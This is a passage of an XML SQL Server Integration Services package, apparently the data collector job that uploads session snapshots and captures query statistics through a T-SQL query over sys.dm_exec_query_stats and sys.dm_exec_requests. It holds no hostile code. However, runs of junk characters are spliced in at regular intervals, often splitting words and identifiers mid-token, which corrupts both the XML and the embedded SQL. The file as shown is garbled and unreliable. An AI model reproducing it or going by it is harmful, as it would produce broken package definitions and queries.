name="memory_usage"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[session_cpu_time]" dataType="i4" name="session_cpu_time"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[session_reads]" dataType="i8" name="session_reads"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[session_writes]" dataType="i8" name="session_writes"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[session_logical_reads]" dataType="i8" name="session_logical_reads"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[session_total_scheduled_time]" dataType="i4" name="session_total_scheduled_time"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[session_total_elapsed_time]" dataType="i4" name="session_total_elapsed_time"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[session_last_request_start_time]" dataType="dbTimeStamp" name="session_last_request_start_time"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[session_last_request_end_time]" dataType="dbTimeStamp" name="session_last_request_end_time"/><externalMetadataColumn refId="Package\FEF - For each collected cache fi	!!!!!!!!!!!!!!!!!!!!!!!!`z9%gHvle try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[open_resultsets]" dataType="i4" name="open_resultsets"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[session_row_count]" dataType="i8" name="session_row_count"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[prev_error]" dataType="i4" name="prev_error"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[pending_io_count]" dataType="i4" name="pending_io_count"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[command]" dataType="wstr" length="32" name="command"/></externalMetadataColumns></output></outputs></component></components><paths><path refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot.Paths[Derived Column Output]" endId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Inputs[OLE DB Destination Input]" name="Derived Column Output" startId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\DRV - Add snapshot_id column.Outputs[Derived Column Output]"/><path refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot.Paths[Raw File Source Output]" endId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RC - Count output rows.Inputs[Row Count Input 1]" name="Raw File Source Output" startId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output]"/><path refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot.Paths[Row Count Output 1]" endId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\DRV - Add snapshot_id column.Inputs[Derived Column Input]" name="Row Count Output 1" startId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RC - Count output rows.Outputs[Row Count Output 1]"/></paths></pipeline></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\FEF - For each collected cache file try upload\FST - Delete uploaded cache file" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.FileSystemTask.FileSystemTask, Microsoft.SqlServer.FileSystemTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:Description="File System Task" DTS:DTSID="{E7565A81-3A70-4D43-B46D-367BBE221C58}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.FileSystemTask.FileSystemTask, Microsoft.SqlServer.FileSystemTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="FST - Delete uploaded cache file" DTS:TaskContact="File System Task;Microsoft Corporation; Microsoft SQL Server code name &quot;Katmai&quot;;  2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="1"><DTS:Variables/><DTS:ObjectData><FileSystemData TaskOperationType="DeleteFile" TaskSourcePath="User::CurrentCollectionCacheFileName" TaskIsSourceVariable="True"/></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\FEF - For each collected cache file try upload\SQL - Log Package Iteration" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.	!!!!!!!!!!!!!!!!!!!!!!!!`{9)HvExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:Description="Execute SQL Task" DTS:DTSID="{1351971A-0C19-48B9-861A-99803EC9D0FE}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Log Package Iteration" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server code name &quot;Katmai&quot;;  2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="0"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{F7E01FB6-8623-4709-92F3-6F3AA321E26E}" SQLTask:SqlStatementSource="{call dbo.sp_syscollector_event_onpackageupdate (?)}"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::LogID" SQLTask:ParameterDirection="Input" SQLTask:DataType="20" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\FEF - For each collected cache file try upload\SQL - Log Package Stats" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:Description="Execute SQL Task" DTS:DTSID="{D2EBDB50-34A1-4056-A229-724B11CFF63A}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Log Package Stats" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server code name &quot;Katmai&quot;;  2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="0"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{F7E01FB6-8623-4709-92F3-6F3AA321E26E}" SQLTask:SqlStatementSource="{ call dbo.sp_syscollector_event_onstatsupdate (?, N'active_sessions_and_requests upload', ?, ?, NULL, 0) }"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::LogID" SQLTask:ParameterDirection="Input" SQLTask:DataType="20" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="1" SQLTask:DtsVariableName="User::RowCount" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="2" SQLTask:DtsVariableName="User::RowCount" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable></DTS:Executables><DTS:PrecedenceConstraints><DTS:PrecedenceConstraint DTS:refId="Package\FEF - For each collected cache file try upload.PrecedenceConstraints[Constraint]" DTS:CreationName="" DTS:DTSID="{C16FCF88-EA40-4AEB-B237-9ACBF0FD605A}" DTS:EvalOp="3" DTS:Expression="@[User::LoggingLevel]&gt;=1" DTS:From="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot" DTS:LogicalAnd="True" DTS:ObjectName="Constraint" DTS:To="Package\FEF - For each collected cache file try upload\SQL - Log Package Iteration" DTS:Value="2"/><DTS:PrecedenceConstraint DTS:refId="Package\FEF - For each collected cache file try upload.PrecedenceConstraints[Constraint 1]" DTS:CreationName="" DTS:DTSID="{B6545A2A-C596-4529-813D-87EAE3E5FFCE}" DTS:From="Package\FEF - For each collected cache file try upload\SQL - Log Package Iteration" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 1" DTS:To="Package\FEF - For each colle	!!!!!!!!!!!!!!!!!!!!!!!!`|9-muγHvcted cache file try upload\SQL - Log Package Stats" DTS:Value="2"/><DTS:PrecedenceConstraint DTS:refId="Package\FEF - For each collected cache file try upload.PrecedenceConstraints[Constraint 2]" DTS:CreationName="" DTS:DTSID="{C4644D87-FBBA-4F47-B925-6A77D6A0A220}" DTS:From="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 2" DTS:To="Package\FEF - For each collected cache file try upload\FST - Delete uploaded cache file"/></DTS:PrecedenceConstraints><DTS:ForEachVariableMappings><DTS:ForEachVariableMapping DTS:CreationName="" DTS:DTSID="{B537198C-297D-40F6-B54E-B412D1841E32}" DTS:ObjectName="{B537198C-297D-40F6-B54E-B412D1841E32}" DTS:ValueIndex="0" DTS:VariableName="User::CurrentCollectionCacheFileName"/></DTS:ForEachVariableMappings></DTS:Executable><DTS:Executable DTS:refId="Package\SEQ - Capture and analyze query statistics and query plan and text" DTS:CreationName="STOCK:SEQUENCE" DTS:Description="Sequence Container" DTS:DTSID="{42B4C805-BA61-4093-8D32-10CF7AF6837E}" DTS:ExecutableType="STOCK:SEQUENCE" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SEQ - Capture and analyze query statistics and query plan and text"><DTS:Variables><DTS:Variable DTS:CreationName="" DTS:DTSID="{9282ECEC-3842-4736-BD6F-5EBE84C40B65}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="InterestingQueriesRowCountIn"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{2C3D5109-A414-4C3A-AA00-9B7C26C1BA7F}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="InterestingQueriesRowCountOut"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{E313A9FA-038A-45C4-8B2C-36500F3B1B36}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="SqlPlanRowCountError"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{30F0C986-5BCC-417D-93B3-A914D23B2ADA}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="SqlPlanRowCountIn"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{E79C8107-AB1D-457D-8EF4-3CECE6D23ED6}" DTS:EvaluateAsExpression="True" DTS:Expression="@[User::SqlPlanRowCountIn] -  @[User::SqlPlanRowCountError]" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="SqlPlanRowCountOut"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{6286A49C-E37E-48CB-B3A5-37A67DC33CA6}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="SqlPlanUpdateRowCountError"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{4830053E-1F97-4654-B88C-19EA5D3DD6E1}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="SqlPlanUpdateRowCountIn"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{050E62F6-E62C-45A8-B626-EDE564DEE50B}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="SqlPlanUpdateRowCountOut"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{1941E039-AD56-4AB1-AAE0-A7C43942502C}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="SqlTextRowCountError"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{0F9E4107-AABD-469E-AC4B-CD12AF2F6041}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="SqlTextRowCountIn"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{61DBE0AB-4BD0-4454-93D9-9C5C3913505C}" DTS:EvaluateAsExpression="True" DTS:Expression="@[User::SqlTex	!!!!!!!!!!!!!!!!!!!!!!!!`}9'HvtRowCountIn] -  @[User::SqlTextRowCountError]" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="SqlTextRowCountOut"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{0C51AC18-BC56-4702-9F11-73693BA426B4}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="SqlTextUpdateRowCountError"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{C27F9149-D1C4-4532-9707-758955380CE8}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="SqlTextUpdateRowCountIn"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{0A692E40-19DB-46F4-9E37-F6155DE3385D}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="SqlTextUpdateRowCountOut"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable></DTS:Variables><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:Executables><DTS:Executable DTS:refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot" DTS:CreationName="SSIS.Pipeline.3" DTS:Description="Data Flow Task" DTS:DTSID="{D0100C41-766D-4E42-8B02-AD4232994DBA}" DTS:ExecutableType="SSIS.Pipeline.3" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="DFT - Create Interesting Queries Last Snapshot" DTS:TaskContact="Performs high-performance data extraction, transformation and loading;Microsoft Corporation; Microsoft SQL Server v10; (C) 2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0"/><DTS:ObjectData><pipeline BLOBTempStoragePath="" bufferTempStoragePath="" version="1"><components><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\DC - Add the SnapshotId Column" componentClassID="{49928E82-9C4E-49F0-AABE-3812B82707EC}" contactInfo="Derived Column;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Updates column values using expressions" name="DC - Add the SnapshotId Column" usesDispositions="true"><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\DC - Add the SnapshotId Column.Inputs[Derived Column Input]" description="Input to the Derived Column Transformation" name="Derived Column Input"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\DC - Add the SnapshotId Column.Outputs[Derived Column Output]" description="Default Output of the Derived Column Transformation" exclusionGroup="1" name="Derived Column Output" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\DC - Add the SnapshotId Column.Inputs[Derived Column Input]"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\DC - Add the SnapshotId Column.Outputs[Derived Column Output].Columns[snapshot_id]" dataType="i4" errorOrTruncationOperation="Computation" errorRowDisposition="FailComponent" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\DC - Add the SnapshotId Column.Outputs[Derived Column Output].Columns[snapshot_id]" name="snapshot_id" truncationRowDisposition="FailComponent"><properties><property containsID="true" dataType="System.String" description="Derived Column Expression" name="Expression">@[User::SnapshotId]</property>	!!!!!!!!!!!!!!!!!!!!!!!!`~9!Hv<property containsID="true" dataType="System.String" description="Derived Column Friendly Expression" expressionType="Notify" name="FriendlyExpression">@[User::SnapshotId]</property></properties></outputColumn></outputColumns><externalMetadataColumns/></output><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\DC - Add the SnapshotId Column.Outputs[Derived Column Error Output]" description="Error Output of the Derived Column Transformation" exclusionGroup="1" isErrorOut="true" name="Derived Column Error Output" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\DC - Add the SnapshotId Column.Inputs[Derived Column Input]"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\DC - Add the SnapshotId Column.Outputs[Derived Column Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\DC - Add the SnapshotId Column.Outputs[Derived Column Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\DC - Add the SnapshotId Column.Outputs[Derived Column Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\DC - Add the SnapshotId Column.Outputs[Derived Column Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source" componentClassID="{165A526D-D5DE-47FF-96A6-F8274C19826B}" contactInfo="OLE DB Source;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;7" description="OLE DB Source" name="OLE DB Source" usesDispositions="true" version="7"><properties><property dataType="System.Int32" description="The number of seconds before a command times out.  A value of 0 indicates an infinite time-out." name="CommandTimeout">0</property><property dataType="System.String" description="Specifies the name of the database object used to open a rowset." name="OpenRowset"/><property dataType="System.String" description="Specifies the variable that contains the name of the database object used to open a rowset." name="OpenRowsetVariable"/><property dataType="System.String" description="The SQL command to be executed." name="SqlCommand" UITypeEditor="Microsoft.DataTransformationServices.Controls.ModalMultilineStringEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91">SET NOCOUNT ON
DECLARE @p1 datetime
SET @p1 = GETDATE()

SELECT 
    [sql_handle],
    statement_start_offset,
    statement_end_offset,
    -- Use ISNULL here and in other columns to handle in-progress queries that are not yet in sys.dm_exec_query_stats.  
    -- These values only come from sys.dm_exec_query_stats. If the plan does not show up in sys.dm_exec_query_stats 
    -- (first execution of a still-in-progress query, visible in sys.dm_exec_requests), these values will be NULL. 
    MAX (plan_generation_num) AS plan_generation_num,
    plan_handle,
    MIN (creation_time) AS creation_time, 
    MAX (last_execution_time) AS last_execution_time,
    SUM (execution_count) AS execution_count,
    SUM (total_worker_time) AS total_worker_time,
    MIN (min_worker_time) AS min_worker_time,           -- NULLable
    MAX (max_worker_time) AS max_worke	!!!!!!!!!!!!!!!!!!!!!!!!`9	Hvr_time,
    SUM (total_physical_reads) AS total_physical_reads,
    MIN (min_physical_reads) AS min_physical_reads,     -- NULLable
    MAX (max_physical_reads) AS max_physical_reads,
    SUM (total_logical_writes) AS total_logical_writes,
    MIN (min_logical_writes) AS min_logical_writes,     -- NULLable
    MAX (max_logical_writes) AS max_logical_writes,
    SUM (total_logical_reads) AS total_logical_reads,
    MIN (min_logical_reads) AS min_logical_reads,       -- NULLable
    MAX (max_logical_reads) AS max_logical_reads,
    SUM (total_clr_time) AS total_clr_time,
    MIN (min_clr_time) AS min_clr_time,                 -- NULLable
    MAX (max_clr_time) AS max_clr_time,
    SUM (total_elapsed_time) AS total_elapsed_time,
    MIN (min_elapsed_time) AS min_elapsed_time,         -- NULLable
    MAX (max_elapsed_time) AS max_elapsed_time,
    @p1 AS collection_time
FROM
(
    SELECT  
        [sql_handle],
        statement_start_offset,
        statement_end_offset,
        plan_generation_num,
        plan_handle,
        creation_time,
        last_execution_time,
        execution_count,
        total_worker_time,
        min_worker_time,
        max_worker_time,
        total_physical_reads,
        min_physical_reads,
        max_physical_reads,
        total_logical_writes,
        min_logical_writes,
        max_logical_writes,
        total_logical_reads,
        min_logical_reads,
        max_logical_reads,
        total_clr_time,
        min_clr_time,
        max_clr_time,
        total_elapsed_time,
        min_elapsed_time,
        max_elapsed_time 
    FROM sys.dm_exec_query_stats AS q
    -- Temporary workaround for VSTS #91422.  This should be removed if/when sys.dm_exec_query_stats reflects in-progress queries. 
    UNION ALL 
    SELECT 
        r.[sql_handle],
        r.statement_start_offset,
        r.statement_end_offset,
        ISNULL (qs.plan_generation_num, 0) AS plan_generation_num,
        r.plan_handle,
        ISNULL (qs.creation_time, r.start_time) AS creation_time,
        r.start_time AS last_execution_time,
        1 AS execution_count,
        -- dm_exec_requests shows CPU time as ms, while dm_exec_query_stats 
        -- uses microseconds.  Convert ms to us. 
        r.cpu_time * CAST(1000 as bigint) AS total_worker_time,
        qs.min_worker_time,     -- min should not be influenced by in-progress queries
        r.cpu_time * CAST(1000 as bigint) AS max_worker_time,
        r.reads AS total_physical_reads,
        qs.min_physical_reads,  -- min should not be influenced by in-progress queries
        r.reads AS max_physical_reads,
        r.writes AS total_logical_writes,
        qs.min_logical_writes,  -- min should not be influenced by in-progress queries
        r.writes AS max_logical_writes,
        r.logical_reads AS total_logical_reads,
        qs.min_logical_reads,   -- min should not be influenced by in-progress queries
        r.logical_reads AS max_logical_reads,
        qs.total_clr_time,      -- CLR time is not available in dm_exec_requests
        qs.min_clr_time,        -- CLR time is not available in dm_exec_requests
        qs.max_clr_time,        -- CLR time is not available in dm_exec_requests
        -- dm_exec_requests shows elapsed time as ms, while dm_exec_query_stats 
        -- uses microseconds.  Convert ms to us. 
        r.total_elapsed_time * CAST(1000 as bigint) AS total_elapsed_time,
        qs.min_elapsed_time,    -- min should not be influenced by in-progress queries
        r.total_elapsed_time * CAST(1000 as bigint) AS max_elapsed_time
    FROM sys.dm_exec_requests AS r 
    LEFT OUTER JOIN sys.dm_exec_query_stats AS qs ON r.plan_handle = qs.plan_handle AND r.statement_start_offset = qs.statement_start_offset 
        AND r.statement_end_offset = qs.statement_end_offset 
    WHERE r.sql_handle IS NOT NULL 
) AS query_stats 
OUTER APPLY sys.dm_exec_sql_text (sql_handle) AS sql
GROUP BY [sql_handle], plan_handle, statement_start_offset, statement_end_offset 
ORDER BY [sql_hand	!!!!!!!!!!!!!!!!!!!!!!!!`9!r{Hvle], plan_handle, statement_start_offset, statement_end_offset</property><property dataType="System.String" description="The variable that contains the SQL command to be executed." name="SqlCommandVariable"/><property dataType="System.Int32" description="Specifies the column code page to use when code page information is unavailable from the data source." name="DefaultCodePage">1252</property><property dataType="System.Boolean" description="Forces the use of the DefaultCodePage property value when describing character data." name="AlwaysUseDefaultCodePage">false</property><property dataType="System.Int32" description="Specifies the mode used to access the database." name="AccessMode" typeConverter="AccessMode">2</property><property dataType="System.String" description="The mappings between the parameters in the SQL command and variables." name="ParameterMapping"/></properties><connections><connection refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Connections[OleDbConnection]" connectionManagerID="Package.ConnectionManagers[TargetConnection]" connectionManagerRefId="Package.ConnectionManagers[TargetConnection]" description="The OLE DB runtime connection used to access the database." name="OleDbConnection"/></connections><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output]" isSorted="true" name="OLE DB Source Output"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[sql_handle]" dataType="bytes" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[sql_handle]" length="64" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[sql_handle]" name="sql_handle" sortKeyPosition="1" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[statement_start_offset]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[statement_start_offset]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[statement_start_offset]" name="statement_start_offset" sortKeyPosition="3" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[statement_end_offset]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[statement_end_offset]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[statement_end_offset]" name="statement_end_offset" sor	!!!!!!!!!!!!!!!!!!!!!!!!`9%/AHvtKeyPosition="4" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[plan_generation_num]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[plan_generation_num]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[plan_generation_num]" name="plan_generation_num" sortKeyPosition="5" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[plan_handle]" dataType="bytes" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].ExternalColumns[plan_handle]" length="64" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[plan_handle]" name="plan_handle" 